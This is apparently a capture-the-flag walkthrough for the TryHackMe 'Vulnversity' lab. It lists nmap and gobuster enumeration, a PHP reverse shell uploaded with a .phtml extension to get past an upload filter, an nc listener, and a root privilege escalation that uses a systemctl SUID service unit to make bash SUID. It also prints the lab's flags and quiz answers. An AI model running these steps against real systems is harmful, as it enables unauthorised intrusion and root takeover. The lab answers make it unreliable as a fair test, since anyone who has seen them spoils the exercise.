Room Link : https://tryhackme.com/r/room/vulnversity
STEP1
nmap -p- -sSV 10.10.142.86 -Pn -T4 -A
FINDING
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.7 (Ubuntu Linux; protocol 2.0)
139/tcp open netbios-ssn?
445/tcp open microsoft-ds?
3128/tcp open squid-http?
3333/tcp open dec-notes?
Scan the box; how many ports are open?
6
What version of the squid proxy is running on the machine?
3.5.12
How many ports will Nmap scan if the flag -p-400 was used?
400
What is the most likely operating system this machine is running?
Ubuntu
What port is the web server running on?
3333
What is the flag for enabling verbose mode using Nmap?
-v
-----------------------------------------------------------------------------------------------------
STEP2
gobuster dir -u http://10.10.142.86:3333/ -w /usr/share/wordlists/dirbuster/directory-list-1.0.txt
FINDING
/images (Status: 301) [Size: 320] [-- http://10.10.142.86:3333/images/]
/css (Status: 301) [Size: 317] [-- http://10.10.142.86:3333/css/]
/js (Status: 301) [Size: 316] [-- http://10.10.142.86:3333/js/]
/internal (Status: 301) [Size: 322] [-- http://10.10.142.86:3333/internal/]
What is the directory that has an upload form page?
/internal/
-----------------------------------------------------------------------------------------------------
STEP3
dirb http://10.10.142.86:3333/internal/
FINDING
= DIRECTORY: http://10.10.142.86:3333/internal/uploads/
-----------------------------------------------------------------------------------------------------
STEP4
upload a phprevershell.phtml @ http://10.10.142.86:3333/internal/
try these extentions
.php
.php3
.php4
.php5
.phtml
see uploaded file @ http://10.10.142.86:3333/internal/uploads/
on new terminal nc -nvlp 1234
@ http://10.10.142.86:3333/internal/uploads/revershell.phtml
get reverse connection on the terminal
cd /home
cd bill
cat user.txt
FINDING
8bd7992fbe8a6ad22a63361004cfcedb
What common file type youd want to upload to exploit the server is blocked? Try a couple to find out.
.php
What extension is allowed after running the above exercise?
.phtml
What is the name of the user who manages the webserver?
bill
What is the user flag?
8bd7992fbe8a6ad22a63361004cfcedb
-----------------------------------------------------------------------------------------------------
STEP5
python -c import pty; pty.spawn("/bin/bash")
find / -type f -perm -4000 2/dev/null
FINDING
/bin/systemctl
On the system, search for all SUID files. Which file stands out?
/bin/systemctl
-----------------------------------------------------------------------------------------------------
STEP6
now use -- https://gtfobins.github.io/gtfobins/systemctl/
on shell -- type below
TF=$(mktemp).service
echo [Service]
Type=oneshot
ExecStart=/bin/sh -c "chmod +s /bin/bash"
[Install]
WantedBy=multi-user.target $TF
/bin/systemctl link $TF
/bin/systemctl enable --now $TF
bash -p
cd /root
ls
cat root.txt
a58ff8579f0a9270368d33a9966c7fd5
FINDING
What is the root flag value?
a58ff8579f0a9270368d33a9966c7fd5
-----------------------------------------------------------------------------------------------------
|